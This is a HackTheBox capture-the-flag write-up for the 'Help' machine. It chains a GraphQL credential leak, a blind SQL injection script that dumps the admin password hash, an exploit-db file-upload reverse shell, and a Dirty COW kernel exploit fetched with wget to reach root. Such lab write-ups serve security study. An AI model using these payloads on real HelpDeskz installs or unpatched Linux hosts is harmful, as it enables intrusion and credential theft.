HTB: Help Writeup
Help - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Help |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 8th May 2019 |
| IP Address | 10.10.10.121 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Help is an Easy Linux machine featuring a vulnerable HelpDesk application (HelpDeskz v1.0.2) with multiple exploitation paths. The machine exposes a GraphQL endpoint that leaks user credentials, then requires blind SQL injection or arbitrary file upload to achieve initial foothold. Privilege escalation is straightforward via a known kernel vulnerability (CVE-2016-5195 - Dirty COW).
TL;DR: GraphQL enumeration → extract credentials → blind SQLi/file upload for RCE → kernel exploit for root.
Reconnaissance
Port Scanning
# Initial port discoveryports=$(nmap -p- --min-rate=1000 -T4 10.10.10.121 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service scanningnmap -p$ports -sV 10.10.10.121Results:
- Port 22 - SSH (OpenSSH)
- Port 80 - HTTP (Apache)
- Port 3000 - HTTP (Node.js/Express)
Service Enumeration
HTTP on Port 80:
The server redirects to help.htb. Add this to /etc/hosts:
echo "10.10.10.121 help.htb" | sudo tee -a /etc/hostsNavigating to the domain shows a default Apache installation. Directory enumeration reveals the HelpDesk application:
gobuster dir -w directory-list-2.3-medium.txt -t 100 -u http://help.htb/This discovers /support containing HelpDeskz v1.0.2 (confirmed via UPGRADING.txt).
Node.js on Port 3000:
The service responds with a generic message. HTTP headers identify it as Express framework. Testing for GraphQL endpoints:
# Initial GraphQL probecurl -s -G http://10.10.10.121:3000/graphql --data-urlencode "query={user}" | jqThe endpoint exists and expects structured queries. Dumping user information:
# Query usernamecurl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username} }' | jq
# Query password (MD5 hash)curl -s -G http://help.htb:3000/graphql --data-urlencode 'query={user {username, password} }' | jqResults:
- Username:
helpme@helpme.com - Password (MD5):
5d41402abc4b2a76b9719d911017c592 - Cracked:
godhelpmeplz
Vulnerability Assessment
- GraphQL Information Disclosure - Unauthenticated endpoint leaks user credentials
- Blind SQL Injection - HelpDeskz v1.0.2 vulnerable in ticket attachment parameter (CVE-2015-7297)
- Arbitrary File Upload - Authentication bypass allows unauthenticated RCE (CVE-2015-7298)
- Kernel Vulnerability - Linux 4.4.0-116-generic vulnerable to Dirty COW (CVE-2016-5195)
Initial Foothold
Exploitation Path: Blind SQL Injection
First, log in using GraphQL credentials (helpme@helpme.com:godhelpmeplz).
Submit a test ticket with an image attachment and note the attachment URL structure:
http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6Step 1: Verify SQL Injection
Test basic SQLi conditions:
# True condition - returns imagecurl "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and 1=1-- -"
# False condition - returns 404curl "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and 1=2-- -"Step 2: Extract Admin Username
# Verify admin user existscurl "http://help.htb/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6 and (select (username) from staff limit 0,1) = 'admin'-- -"This returns the image, confirming the first staff user is admin.
Step 3: Brute Force SHA1 Hash
Extract the admin password character by character:
#!/usr/bin/env python3from requests import getimport stringimport sys
# Extract from Burp Suite interceptorcookies = { 'lang': 'english', 'PHPSESSID': 'YOUR_SESSION_ID', 'usrhash': 'YOUR_HASH'}
url = 'http://10.10.10.121/support/?v=view_tickets&action=ticket¶m[]=4¶m[]=attachment¶m[]=1¶m[]=6'chars = list(string.ascii_lowercase) + list(string.digits)password = []
# SHA1 hashes are 40 charactersfor k in range(1, 41): for char in chars: payload = f"{url} and substr((select password from staff limit 0,1),{k},1) = '{char}'-- -" resp = get(payload, cookies=cookies)
if '404' not in resp.text: password.append(char) print(f"Password: {''.join(password)}") break
final_hash = ''.join(password)print(f"\n[+] Admin Password Hash: {final_hash}")Run the script and retrieve the admin password hash (40 characters):
python3 blind_sqli.py# Output: d318f44739dced66793b1a603028133a76ae680eCrack the hash using HashKiller or similar service:
Hash: d318f44739dced66793b1a603028133a76ae680ePlaintext: Welcome1Step 4: Extract Admin Email
Modify the script to dump the email field with expanded character set:
# Modify character set to include special characterschars = list(string.ascii_lowercase) + list(string.digits) + ['@', '_', '.']
# Change column in SQL querypayload = f"{url} and substr((select email from staff limit 0,1),{k},1) = '{char}'-- -"Result: support@mysite.com
Step 5: SSH Access
ssh help@10.10.10.121# Password: Welcome1The SSH username is help (found through enumeration of user accounts on the box).
Alternative Exploitation Path: Arbitrary File Upload (RCE)
If preferred, exploit the unauthenticated file upload vulnerability:
# Download the exploit script (CVE-2015-7298)# wget https://www.exploit-db.com/raw/40300
# Modify the PHP reverse shell payload with your IP/port# Upload via the "Submit a Ticket" form
# The application checks extension after upload, so the file is already on disk# Run the exploit to brute force the renamed filenamepython3 40300.py http://help.htb/support/uploads/tickets/php-reverse-shell.php
# Once file is found, access it to trigger RCEcurl http://help.htb/support/uploads/tickets/[BRUTED_FILENAME]
# Upgrade shellpython -c "import pty;pty.spawn('/bin/bash')"Privilege Escalation
Kernel Exploitation (Dirty COW)
Step 1: Identify Vulnerable Kernel
uname -r# Output: 4.4.0-116-genericThis kernel version is vulnerable to CVE-2016-5195 (Dirty COW).
Step 2: Download and Compile Exploit
On your local machine:
# Download Dirty COW exploitwget https://github.com/FireFart/dirtycow/raw/master/dirty.c
# Compile locallygcc dirty.c -o exploit -pthreadStep 3: Transfer and Execute
On your local machine (in the exploit directory):
# Start HTTP serverpython3 -m http.server 80On the target:
cd /tmpwget http://YOUR_IP/exploitchmod +x exploit./exploit
# Exploit will spawn a root shell directlyThe exploit modifies the /etc/passwd file to create a root-equivalent user, immediately granting elevated privileges.
Attack Chain Summary
GraphQL Enumeration (Port 3000) ↓Extract Credentials (helpme@helpme.com:godhelpmeplz) ↓Login to HelpDesk ↓Blind SQL Injection on Ticket Attachment Endpoint ↓Extract Admin Credentials (support@mysite.com:Welcome1) ↓SSH Access (help:Welcome1) ↓Enumerate Kernel Version (4.4.0-116-generic) ↓Compile Dirty COW Exploit (CVE-2016-5195) ↓Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service discovery |
gobuster | Directory enumeration |
curl | GraphQL queries and HTTP requests |
jq | JSON parsing |
python3 | Custom SQLi brute force script |
ssh | Remote shell access |
gcc | Kernel exploit compilation |
wget | File transfer |
Key Learnings
Techniques Practiced
- GraphQL enumeration - Discovering and exploiting unauthenticated GraphQL endpoints
- Blind SQL injection - Character-by-character hash extraction using conditional responses
- Hash cracking - MD5 and SHA1 reverse lookups
- Kernel exploitation - Compiling and leveraging known CVEs for privilege escalation
- Multi-stage exploitation - Combining different vulnerabilities (info disclosure → SQLi → kernel RCE)
Lessons Learned
-
Enumerate all ports and services - The GraphQL endpoint on port 3000 was the initial attack vector, often overlooked in standard web assessments.
-
Blind SQL injection requires patience and scripting - Manual exploitation would be tedious; automation is essential for character-by-character extraction.
-
Kernel vulnerabilities are critical - Even on “Easy” machines, unpatched kernels provide trivial privilege escalation paths; always check
uname -r. -
Multiple exploitation paths exist - Different vulnerabilities (SQLi vs. file upload) can achieve the same objective; choose based on constraints and reliability.
-
Session management matters - SQLi exploitation required valid session cookies; authentication to the HelpDesk was necessary to maintain session state.
-
Default credentials and leaked info - GraphQL endpoints should never expose sensitive fields without authentication; this was a critical misconfiguration.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>